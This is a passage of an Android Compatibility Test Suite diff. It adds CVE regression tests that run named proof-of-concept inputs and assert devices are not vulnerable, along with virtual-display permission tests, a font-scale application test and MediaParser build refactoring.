+ return sPocPusher.get(device);
+ }
+
// TODO convert existing assertMatches*() to RegexUtils.assertMatches*()
// b/123237827
@Deprecated
@@ -258,7 +267,15 @@
}
private long getDeviceUptime() throws DeviceNotAvailableException {
- String uptime = getDevice().executeShellCommand("cat /proc/uptime");
+ String uptime = null;
+ int attempts = 5;
+ do {
+ if (attempts-- <= 0) {
+ throw new RuntimeException("could not get device uptime");
+ }
+ getDevice().waitForDeviceAvailable();
+ uptime = getDevice().executeShellCommand("cat /proc/uptime").trim();
+ } while (uptime.isEmpty());
return Long.parseLong(uptime.substring(0, uptime.indexOf('.')));
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java b/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
index f62bc8f..987e3e3 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
@@ -26,6 +26,7 @@
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import static org.junit.Assert.*;
+import static org.junit.Assume.*;
import junit.framework.Assert;
import java.util.Arrays;
import java.util.ArrayList;
@@ -45,6 +46,222 @@
******************************************************************************/
/**
+ * b/17769851
+ * Vulnerability Behaviour: EXIT_VULNERABLE (113)
+ */
+ @SecurityTest(minPatchLevel = "2015-12")
+ @Test
+ public void testPocCVE_2015_6616() throws Exception {
+ pocPusher.only64();
+ String inputFiles[] = {"cve_2015_6616.mp4"};
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2015-6616",
+ AdbUtils.TMP_PATH + inputFiles[0], inputFiles, AdbUtils.TMP_PATH, getDevice());
+ }
+
+ /**
+ * b/37239013
+ * Vulnerability Behaviour: EXIT_VULNERABLE (113)
+ */
+ @SecurityTest(minPatchLevel = "2017-07")
+ @Test
+ public void testPocCVE_2017_0697() throws Exception {
+ String inputFiles[] = {"cve_2017_0697.mp4"};
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2017-0697",
+ AdbUtils.TMP_PATH + inputFiles[0], inputFiles, AdbUtils.TMP_PATH, getDevice());
+ }
+
+ /**
+ * b/127702368
+ * Vulnerability Behaviour: EXIT_VULNERABLE (113)
+ */
+ @SecurityTest(minPatchLevel = "2019-08")
+ @Test
+ public void testPocCVE_2019_2126() throws Exception {
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2019-2126", null, getDevice());
+ }
+
+ /**
+ * b/66969349
+ * Vulnerability Behaviour: SIGSEGV in media.codec
+ */
+ @SecurityTest(minPatchLevel = "2018-01")
+ @Test
+ public void testPocCVE_2017_13180() throws Exception {
+ String processPatternStrings[] = {"media\\.codec", "omx@\\d+?\\.\\d+?-service"};
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2017-13180", null, getDevice(),
+ processPatternStrings);
+ }
+
+ /**
+ * b/111210196
+ * Vulnerability Behaviour: EXIT_VULNERABLE (113)
+ */
+ @SecurityTest(minPatchLevel = "2019-12")
+ @Test
+ public void testPocCVE_2019_2228() throws Exception {
+ String inputFiles[] = {"cve_2019_2228_ipp.mp4"};
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2019-2228",
+ AdbUtils.TMP_PATH + inputFiles[0], inputFiles, AdbUtils.TMP_PATH, getDevice());
+ }
+
+ /**
+ * b/157650336
+ * Vulnerability Behaviour: SIGSEGV in self / EXIT_VULNERABLE (113)
+ */
+ @SecurityTest(minPatchLevel = "2020-11")
+ @Test
+ public void testPocCVE_2020_0450() throws Exception {
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2020-0450", null, getDevice());
+ }
+
+ /**
+ * b/156997193
+ * Vulnerability Behaviour: SIGABRT in self
+ */
+ @SecurityTest(minPatchLevel = "2020-11")
+ @Test
+ public void testPocCVE_2020_0409() throws Exception {
+ String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+ String binaryName = "CVE-2020-0409";
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.config.setSignals(signals);
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+
+ /**
+ * b/156999009
+ * Vulnerability Behaviour: SIGABRT in self
+ */
+ @SecurityTest(minPatchLevel = "2020-10")
+ @Test
+ public void testPocCVE_2020_0408() throws Exception {
+ String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+ String binaryName = "CVE-2020-0408";
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.config.setSignals(signals);
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+
+ /**
+ * b/161894517
+ * Vulnerability Behaviour: SIGABRT in self
+ */
+ @SecurityTest(minPatchLevel = "2020-10")
+ @Test
+ public void testPocCVE_2020_0421() throws Exception {
+ String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+ String binaryName = "CVE-2020-0421";
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.config.setSignals(signals);
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+
+ /**
+ * b/132082342
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @SecurityTest(minPatchLevel = "2019-08")
+ @Test
+ public void testPocCVE_2019_2133() throws Exception {
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2019-2133", null, getDevice());
+ }
+
+ /**
+ * b/132083376
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @SecurityTest(minPatchLevel = "2019-08")
+ @Test
+ public void testPocCVE_2019_2134() throws Exception {
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2019-2134", null, getDevice());
+ }
+
+ /**
+ * b/31470908
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @SecurityTest(minPatchLevel = "2017-04")
+ @Test
+ public void testPocCVE_2016_10244() throws Exception {
+ String inputFiles[] = {"cve_2016_10244"};
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2016-10244",
+ AdbUtils.TMP_PATH + inputFiles[0], inputFiles, AdbUtils.TMP_PATH, getDevice());
+ }
+
+ /**
+ * b/27793367
+ * Vulnerability Behaviour: SIGSEGV in media.codec
+ */
+ @SecurityTest(minPatchLevel = "2016-06")
+ @Test
+ public void testPocCVE_2016_2485() throws Exception {
+ String inputFiles[] = {"cve_2016_2485.raw"};
+ String processPatternStrings[] = {"media\\.codec", "omx@\\d+?\\.\\d+?-service"};
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2016-2485",
+ AdbUtils.TMP_PATH + inputFiles[0], inputFiles, AdbUtils.TMP_PATH, getDevice(),
+ processPatternStrings);
+ }
+
+ /**
+ * b/141890807
+ * Vulnerability Behaviour: EXIT_VULNERABLE (113)
+ */
+ @SecurityTest(minPatchLevel = "2020-01")
+ @Test
+ public void testPocCVE_2020_0007() throws Exception {
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2020-0007", null, getDevice());
+ }
+
+ /**
+ * b/118372692
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @SecurityTest(minPatchLevel = "2019-02")
+ @Test
+ public void testPocCVE_2019_1988() throws Exception {
+ String inputFiles[] = {"cve_2019_1988.mp4"};
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2019-1988",
+ AdbUtils.TMP_PATH + inputFiles[0], inputFiles, AdbUtils.TMP_PATH, getDevice());
+ }
+
+ /**
+ * b/63522430
+ * Vulnerability Behaviour: SIGSEGV in media.codec
+ */
+ @SecurityTest(minPatchLevel = "2018-01")
+ @Test
+ public void testPocCVE_2017_0817() throws Exception {
+ String processPatternStrings[] = {"media\\.codec", "omx@\\d+?\\.\\d+?-service"};
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2017-0817", null, getDevice(),
+ processPatternStrings);
+ }
+
+ /**
+ * b/36104177
+ * Vulnerability Behaviour: EXIT_VULNERABLE (113)
+ */
+ @SecurityTest(minPatchLevel = "2017-09")
+ @Test
+ public void testPocCVE_2017_0670() throws Exception {
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2017-0670", null, getDevice());
+ }
+
+ /**
+ * b/68159767
+ * Vulnerability Behaviour: EXIT_VULNERABLE (113)
+ */
+ @SecurityTest(minPatchLevel = "2018-02")
+ @Test
+ public void testPocCVE_2017_13234() throws Exception {
+ String inputFiles[] = { "cve_2017_13234.xmf" };
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2017-13234",
+ AdbUtils.TMP_PATH + inputFiles[0], inputFiles, AdbUtils.TMP_PATH, getDevice());
+ }
+
+ /**
* b/74122779
* Vulnerability Behaviour: SIGABRT in audioserver
*/
@@ -162,6 +379,7 @@
@SecurityTest(minPatchLevel = "2017-11")
@Test
public void testPocCVE_2017_0840() throws Exception {
+ pocPusher.only32();
String processPatternStrings[] = {"media\\.codec", "omx@\\d+?\\.\\d+?-service"};
AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2017-0840", null, getDevice(),
processPatternStrings);
@@ -174,6 +392,7 @@
@SecurityTest(minPatchLevel = "2018-02")
@Test
public void testPocCVE_2017_13241() throws Exception {
+ pocPusher.only32();
String processPatternStrings[] = {"media\\.codec", "omx@\\d+?\\.\\d+?-service"};
AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2017-13241", null, getDevice(),
processPatternStrings);
@@ -279,6 +498,26 @@
******************************************************************************/
/**
+ * b/158762825
+ * Vulnerability Behaviour: SIGABRT in self
+ */
+ @SecurityTest(minPatchLevel = "2020-11")
+ @Test
+ public void testPocCVE_2020_0451() throws Exception {
+ assumeFalse(moduleIsPlayManaged("com.google.android.media.swcodec"));
+ String inputFiles[] = {"cve_2020_0451.aac"};
+ String binaryName = "CVE-2020-0451";
+ String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.config.setSignals(signals);
+ testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0];
+ testConfig.inputFiles = Arrays.asList(inputFiles);
+ testConfig.inputFilesDestination = AdbUtils.TMP_PATH;
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+
+ /**
* b/112891564
* Vulnerability Behaviour: SIGSEGV in self (Android P),
* SIGABRT in self (Android Q onward)
@@ -300,12 +539,40 @@
******************************************************************************/
/**
+ * b/143464314
+ * Vulnerability Behaviour: SIGSEGV in self / EXIT_VULNERABLE (113)
+ */
+ @SecurityTest(minPatchLevel = "2020-10")
+ @Test
+ public void testPocCVE_2020_0213() throws Exception {
+ assumeFalse(moduleIsPlayManaged("com.google.android.media.swcodec"));
+ String inputFiles[] = {"cve_2020_0213.hevc", "cve_2020_0213_info.txt"};
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2020-0213",
+ AdbUtils.TMP_PATH + inputFiles[0] + " " + AdbUtils.TMP_PATH + inputFiles[1],
+ inputFiles, AdbUtils.TMP_PATH, getDevice());
+ }
+
+ /**
+ * b/166268541
+ * Vulnerability Behaviour: SIGSEGV in media.swcodec
+ */
+ @SecurityTest(minPatchLevel = "2020-12")
+ @Test
+ public void testPocCVE_2020_0470() throws Exception {
+ String inputFiles[] = {"cve_2020_0470.mp4"};
+ String processPatternStrings[] = {"media\\.swcodec"};
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2020-0470",
+ AdbUtils.TMP_PATH + inputFiles[0], inputFiles, AdbUtils.TMP_PATH, getDevice(),
+ processPatternStrings);
+ }
+
+ /**
* b/120426980
* Vulnerability Behaviour: SIGABRT in self
*/
@SecurityTest(minPatchLevel = "2019-09")
@Test
- public void testPocCVE_2019_9362() throws Exception {
+ public void testPocCVE_2019_9362() throws Exception {
String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
String binaryName = "CVE-2019-9362";
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
@@ -355,6 +622,7 @@
@SecurityTest(minPatchLevel = "2019-09")
@Test
public void testPocCVE_2019_9347() throws Exception {
+ pocPusher.only32();
String processPatternStrings[] = {"media\\.codec", "omx@\\d+?\\.\\d+?-service"};
AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2019-9347", null, getDevice(),
processPatternStrings);
diff --git a/tests/app/src/android/app/cts/ApplicationTest.java b/tests/app/src/android/app/cts/ApplicationTest.java
new file mode 100644
index 0000000..548a37f
--- /dev/null
+++ b/tests/app/src/android/app/cts/ApplicationTest.java
@@ -0,0 +1,97 @@
+/*
+ * Copyright (C) 2008 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.cts;
+
+import static org.mockito.Mockito.CALLS_REAL_METHODS;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.verify;
+
+import android.app.Activity;
+import android.app.Application;
+import android.app.Instrumentation;
+import android.app.stubs.MockApplication;
+import android.app.stubs.MockApplicationActivity;
+import android.content.ComponentCallbacks2;
+import android.content.Context;
+import android.content.Intent;
+import android.test.InstrumentationTestCase;
+
+import com.android.compatibility.common.util.SystemUtil;
+
+/**
+ * Test {@link Application}.
+ */
+public class ApplicationTest extends InstrumentationTestCase {
+ private static final String ERASE_FONT_SCALE_CMD = "settings delete system font_scale";
+ // 1.2 is an arbitrary value.
+ private static final String PUT_FONT_SCALE_CMD = "settings put system font_scale 1.2";
+
+ @Override
+ public void tearDown() throws Exception {
+ SystemUtil.runShellCommand(getInstrumentation(), ERASE_FONT_SCALE_CMD);
+ }
+
+
+ public void testApplication() throws Throwable {
+ final Instrumentation instrumentation = getInstrumentation();
+ final Context targetContext = instrumentation.getTargetContext();
+
+ final Intent intent = new Intent(targetContext, MockApplicationActivity.class);
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+
+ final Activity activity = instrumentation.startActivitySync(intent);
+ final MockApplication mockApp = (MockApplication) activity.getApplication();
+ assertTrue(mockApp.isConstructorCalled);
+ assertTrue(mockApp.isOnCreateCalled);
+ toggleFontScale();
+ assertTrue(waitForOnConfigurationChange(mockApp));
+ }
+
+ public void testOnTrimMemory() {
+ final int level = 2;
+ Application app = new Application();
+ ComponentCallbacks2 mockCallBack2 = mock(ComponentCallbacks2.class, CALLS_REAL_METHODS);
+ app.registerComponentCallbacks(mockCallBack2);
+
+ app.onTrimMemory(level);
+
+ verify(mockCallBack2).onTrimMemory(level);
+ }
+
+ // Font scale is a global configuration.
+ // This function will delete any previous font scale changes, apply one, and remove it.
+ private void toggleFontScale() throws Throwable {
+ SystemUtil.runShellCommand(getInstrumentation(), ERASE_FONT_SCALE_CMD);
+ getInstrumentation().waitForIdleSync();
+ SystemUtil.runShellCommand(getInstrumentation(), PUT_FONT_SCALE_CMD);
+ getInstrumentation().waitForIdleSync();
+ SystemUtil.runShellCommand(getInstrumentation(), ERASE_FONT_SCALE_CMD);
+ }
+
+ // Wait for a maximum of 5 seconds for global config change to occur.
+ private boolean waitForOnConfigurationChange(MockApplication mockApp) throws Throwable {
+ int retriesLeft = 5;
+ while(retriesLeft-- > 0) {
+ if (mockApp.isOnConfigurationChangedCalled) {
+ return true;
+ }
+ Thread.sleep(1000);
+ }
+ return false;
+ }
+
+}
diff --git a/tests/sensor/src/android/hardware/cts/SensorAdditionalInfoTest.java b/tests/sensor/src/android/hardware/cts/SensorAdditionalInfoTest.java
index 74ad99b..6915db3 100644
--- a/tests/sensor/src/android/hardware/cts/SensorAdditionalInfoTest.java
+++ b/tests/sensor/src/android/hardware/cts/SensorAdditionalInfoTest.java
@@ -61,7 +61,6 @@
s.getType() != Sensor.TYPE_MAGNETIC_FIELD) {
continue;
}
-
if (!s.isAdditionalInfoSupported()) {
// check SensorAdditionalInfo is supported for Automotive sensors.
if (getContext().getPackageManager().hasSystemFeature(
diff --git a/tests/tests/display/Android.bp b/tests/tests/display/Android.bp
index ef97a61..a6df5fc 100644
--- a/tests/tests/display/Android.bp
+++ b/tests/tests/display/Android.bp
@@ -28,6 +28,7 @@
test_suites: [
"cts",
"general-tests",
+ "sts",
],
sdk_version: "test_current",
}
diff --git a/tests/tests/display/src/android/display/cts/VirtualDisplayTest.java b/tests/tests/display/src/android/display/cts/VirtualDisplayTest.java
index db57eed..a0a567e 100644
--- a/tests/tests/display/src/android/display/cts/VirtualDisplayTest.java
+++ b/tests/tests/display/src/android/display/cts/VirtualDisplayTest.java
@@ -28,16 +28,16 @@
import android.media.ImageReader;
import android.os.Bundle;
import android.os.Handler;
-import android.os.Looper;
import android.os.HandlerThread;
+import android.os.Looper;
import android.os.SystemClock;
+import android.platform.test.annotations.SecurityTest;
import android.test.AndroidTestCase;
import android.util.DisplayMetrics;
import android.util.Log;
import android.view.Display;
import android.view.Surface;
import android.view.ViewGroup.LayoutParams;
-import android.view.WindowManager;
import android.widget.ImageView;
import java.nio.ByteBuffer;
@@ -76,6 +76,9 @@
private HandlerThread mCheckThread;
private Handler mCheckHandler;
+ private static final int VIRTUAL_DISPLAY_FLAG_SHOULD_SHOW_SYSTEM_DECORATIONS = 1 << 9;
+ private static final int VIRTUAL_DISPLAY_FLAG_TRUSTED = 1 << 10;
+
@Override
protected void setUp() throws Exception {
super.setUp();
@@ -116,6 +119,7 @@
* Ensures that an application can create a private virtual display and show
* its own windows on it.
*/
+ @SecurityTest
public void testPrivateVirtualDisplay() throws Exception {
VirtualDisplay virtualDisplay = mDisplayManager.createVirtualDisplay(NAME,
WIDTH, HEIGHT, DENSITY, mSurface, 0);
@@ -139,6 +143,7 @@
* Ensures that an application can create a private presentation virtual display and show
* its own windows on it.
*/
+ @SecurityTest
public void testPrivatePresentationVirtualDisplay() throws Exception {
VirtualDisplay virtualDisplay = mDisplayManager.createVirtualDisplay(NAME,
WIDTH, HEIGHT, DENSITY, mSurface,
@@ -163,6 +168,7 @@
* Ensures that an application can create a private virtual display and show
* its own windows on it where the surface is attached or detached dynamically.
*/
+ @SecurityTest
public void testPrivateVirtualDisplayWithDynamicSurface() throws Exception {
VirtualDisplay virtualDisplay = mDisplayManager.createVirtualDisplay(NAME,
WIDTH, HEIGHT, DENSITY, null, 0);
@@ -190,6 +196,51 @@
assertDisplayUnregistered(display);
}
+ /**
+ * Ensures that {@link DisplayManager#VIRTUAL_DISPLAY_FLAG_SHOULD_SHOW_SYSTEM_DECORATIONS} will
+ * be clear if an application creates an virtual display without the
+ * flag {@link DisplayManager#VIRTUAL_DISPLAY_FLAG_TRUSTED}.
+ */
+ @SecurityTest
+ public void testUntrustedSysDecorVirtualDisplay() throws Exception {
+ VirtualDisplay virtualDisplay = mDisplayManager.createVirtualDisplay(NAME,
+ WIDTH, HEIGHT, DENSITY, mSurface,
+ VIRTUAL_DISPLAY_FLAG_SHOULD_SHOW_SYSTEM_DECORATIONS);
+ assertNotNull("virtual display must not be null", virtualDisplay);
+
+ Display display = virtualDisplay.getDisplay();
+ try {
+ // Verify that the created virtual display doesn't have flags
+ // FLAG_SHOULD_SHOW_SYSTEM_DECORATIONS.
+ assertDisplayRegistered(display, Display.FLAG_PRIVATE);
+ assertEquals(mSurface, virtualDisplay.getSurface());
+
+ // Show a private presentation on the display.
+ assertDisplayCanShowPresentation("private presentation window",
+ display, BLUEISH, 0);
+ } finally {
+ virtualDisplay.release();
+ }
+ assertDisplayUnregistered(display);
+ }
+
+ /**
+ * Ensures that throws {@link SecurityException} when an application creates a trusted virtual
+ * display without holding the permission {@code ADD_TRUSTED_DISPLAY}.
+ */
+ @SecurityTest
+ public void testTrustedVirtualDisplay() throws Exception {
+ try {
+ VirtualDisplay virtualDisplay = mDisplayManager.createVirtualDisplay(NAME,
+ WIDTH, HEIGHT, DENSITY, mSurface, VIRTUAL_DISPLAY_FLAG_TRUSTED);
+ } catch (SecurityException e) {
+ // Expected.
+ return;
+ }
+ fail("SecurityException must be thrown if a trusted virtual display is created without"
+ + "holding the permission ADD_TRUSTED_DISPLAY.");
+ }
+
private void assertDisplayRegistered(Display display, int flags) {
assertNotNull("display object must not be null", display);
assertTrue("display must be valid", display.isValid());
diff --git a/tests/tests/mediaparser/Android.bp b/tests/tests/mediaparser/Android.bp
index d24d764..507a9f8 100644
--- a/tests/tests/mediaparser/Android.bp
+++ b/tests/tests/mediaparser/Android.bp
@@ -14,24 +14,33 @@
android_test {
name: "CtsMediaParserTestCases",
- defaults: ["cts_defaults"],
+ defaults: ["CtsMediaParserTestCasesDefaults", "cts_defaults"],
+ min_sdk_version: "29",
+ test_suites: [
+ "cts",
+ "general-tests",
+ "mts",
+ ],
+}
+
+// App for host-side testing of the MediaParser integration with MediaMetrics.
+android_test_helper_app {
+ name: "CtsMediaParserTestCasesApp",
+ defaults: ["CtsMediaParserTestCasesDefaults"],
+}
+
+java_defaults {
+ name: "CtsMediaParserTestCasesDefaults",
+ srcs: ["src/**/*.java"],
static_libs: [
"ctstestrunner-axt",
"androidx.test.ext.junit",
"exoplayer2-extractor-test-utils",
"exoplayer2-extractor-tests-assets",
],
- srcs: ["src/**/*.java"],
- sdk_version: "test_current",
- min_sdk_version: "29",
libs: [
"android.test.base",
"android.test.runner",
],
-
- test_suites: [
- "cts",
- "general-tests",
- "mts",
- ],
+ sdk_version: "test_current",
}
diff --git a/tests/tests/mediaparser/TEST_MAPPING b/tests/tests/mediaparser/TEST_MAPPING
index ec2d2e2..3d21914 100644
--- a/tests/tests/mediaparser/TEST_MAPPING
+++ b/tests/tests/mediaparser/TEST_MAPPING
@@ -2,6 +2,9 @@
"presubmit": [
{
"name": "CtsMediaParserTestCases"
+ },
+ {
+ "name": "CtsMediaParserHostTestCases"
}
]
}
diff --git a/tests/tests/mediaparser/src/android/media/mediaparser/cts/MediaParserTest.java b/tests/tests/mediaparser/src/android/media/mediaparser/cts/MediaParserTest.java
index 40ddad9..145ac99 100644
--- a/tests/tests/mediaparser/src/android/media/mediaparser/cts/MediaParserTest.java
+++ b/tests/tests/mediaparser/src/android/media/mediaparser/cts/MediaParserTest.java
@@ -673,42 +673,44 @@
mediaParser.setParameter(entry.getKey(), entry.getValue());
}
- mediaParser.advance(inputReader);
- if (expectedParserName != null) {
- assertThat(expectedParserName).isEqualTo(mediaParser.getParserName());
- // We are only checking that the extractor is the right one.
- mediaParser.release();
- return;
- }
+ try {
+ mediaParser.advance(inputReader);
+ if (expectedParserName != null) {
+ assertThat(expectedParserName).isEqualTo(mediaParser.getParserName());
+ // We are only checking that the extractor is the right one.
+ return;
+ }
- while (mediaParser.advance(inputReader)) {
- // Do nothing.
- }
+ while (mediaParser.advance(inputReader)) {
+ // Do nothing.
+ }
- // If the SeekMap is seekable, test seeking in the stream.
- MediaParser.SeekMap seekMap = outputConsumer.getSeekMap();
- assertThat(seekMap).isNotNull();
- if (seekMap.isSeekable()) {
- long durationUs = seekMap.getDurationMicros();
- for (int j = 0; j < 4; j++) {
- outputConsumer.clearTrackOutputs();
- long timeUs =
- durationUs == MediaParser.SeekMap.UNKNOWN_DURATION
- ? 0
- : (durationUs * j) / 3;
- MediaParser.SeekPoint seekPoint = seekMap.getSeekPoints(timeUs).first;
- inputReader.reset();
- inputReader.setPosition((int) seekPoint.position);
- mediaParser.seek(seekPoint);
- while (mediaParser.advance(inputReader)) {
- // Do nothing.
- }
- if (durationUs == MediaParser.SeekMap.UNKNOWN_DURATION) {
- break;
+ // If the SeekMap is seekable, test seeking in the stream.
+ MediaParser.SeekMap seekMap = outputConsumer.getSeekMap();
+ assertThat(seekMap).isNotNull();
+ if (seekMap.isSeekable()) {
+ long durationUs = seekMap.getDurationMicros();
+ for (int j = 0; j < 4; j++) {
+ outputConsumer.clearTrackOutputs();
+ long timeUs =
+ durationUs == MediaParser.SeekMap.UNKNOWN_DURATION
+ ? 0
+ : (durationUs * j) / 3;
+ MediaParser.SeekPoint seekPoint = seekMap.getSeekPoints(timeUs).first;
+ inputReader.reset();
+ inputReader.setPosition((int) seekPoint.position);
+ mediaParser.seek(seekPoint);
+ while (mediaParser.advance(inputReader)) {
+ // Do nothing.
+ }
+ if (durationUs == MediaParser.SeekMap.UNKNOWN_DURATION) {
+ break;
+ }
}
}
+ } finally {
+ mediaParser.release();
}
- mediaParser.release();
}
private static MockMediaParserInputReader getInputReader(String assetPath) throws IOException {
diff --git a/tests/tests/packageinstaller/emptytestapp/Android.bp b/tests/tests/packageinstaller/emptytestapp/Android.bp
index dafd4e9..ec85832 100644
--- a/tests/tests/packageinstaller/emptytestapp/Android.bp
+++ b/tests/tests/packageinstaller/emptytestapp/Android.bp
@@ -22,5 +22,6 @@
"arcts",
"cts",
"general-tests",
+ "sts",
],
}
diff --git a/tests/tests/permission3/PermissionEscalationAppNonRuntime/Android.bp b/tests/tests/packageinstaller/test-apps/SelfUninstallingTestApp/Android.bp
similarity index 60%
copy from tests/tests/permission3/PermissionEscalationAppNonRuntime/Android.bp
copy to tests/tests/packageinstaller/test-apps/SelfUninstallingTestApp/Android.bp
index dd59e9c..a5e2fd3 100644
--- a/tests/tests/permission3/PermissionEscalationAppNonRuntime/Android.bp
+++ b/tests/tests/packageinstaller/test-apps/SelfUninstallingTestApp/Android.bp
@@ -1,5 +1,4 @@
-//
-// Copyright (C) 2016 The Android Open Source Project
+// Copyright (C) 2020 The Android Open Source Project
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
@@ -12,9 +11,24 @@
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
-//
android_test_helper_app {
- name: "CtsPermissionEscalationAppNonRuntime",
- certificate: ":cts-testkey2",
+ name: "CtsSelfUninstallingTestApp",
+ defaults: ["cts_defaults"],
+
+ sdk_version: "current",
+
+ srcs: ["src/**/*.java"],
+
+ static_libs: [
+ "androidx.core_core",
+ ],
+
+ // tag this module as a cts test artifact
+ test_suites: [
+ "arcts",
+ "cts",
+ "vts10",
+ "general-tests",
+ ],
}
diff --git a/tests/tests/packageinstaller/test-apps/SelfUninstallingTestApp/AndroidManifest.xml b/tests/tests/packageinstaller/test-apps/SelfUninstallingTestApp/AndroidManifest.xml
new file mode 100644
index 0000000..87dc715
--- /dev/null
+++ b/tests/tests/packageinstaller/test-apps/SelfUninstallingTestApp/AndroidManifest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.packageinstaller.selfuninstalling.cts" >
+
+ <uses-permission android:name="android.permission.REQUEST_DELETE_PACKAGES" />
+
+ <application android:label="Self Uninstalling Test App">
+ <activity android:name=".SelfUninstallActivity"
+ android:exported="true" />
+ </application>
+
+</manifest>
diff --git a/tests/tests/packageinstaller/test-apps/SelfUninstallingTestApp/res/layout/self_uninstalling_activity.xml b/tests/tests/packageinstaller/test-apps/SelfUninstallingTestApp/res/layout/self_uninstalling_activity.xml
new file mode 100644
index 0000000..ac0fb40
--- /dev/null
+++ b/tests/tests/packageinstaller/test-apps/SelfUninstallingTestApp/res/layout/self_uninstalling_activity.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<FrameLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ android:layout_width="fill_parent"
+ android:layout_height="fill_parent" >
+ <TextView
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:text="Pin me!" />
+</FrameLayout>
\ No newline at end of file
diff --git a/tests/tests/packageinstaller/test-apps/SelfUninstallingTestApp/src/android/packageinstaller/selfuninstalling/cts/SelfUninstallActivity.java b/tests/tests/packageinstaller/test-apps/SelfUninstallingTestApp/src/android/packageinstaller/selfuninstalling/cts/SelfUninstallActivity.java
new file mode 100644
index 0000000..df5b1d4
--- /dev/null
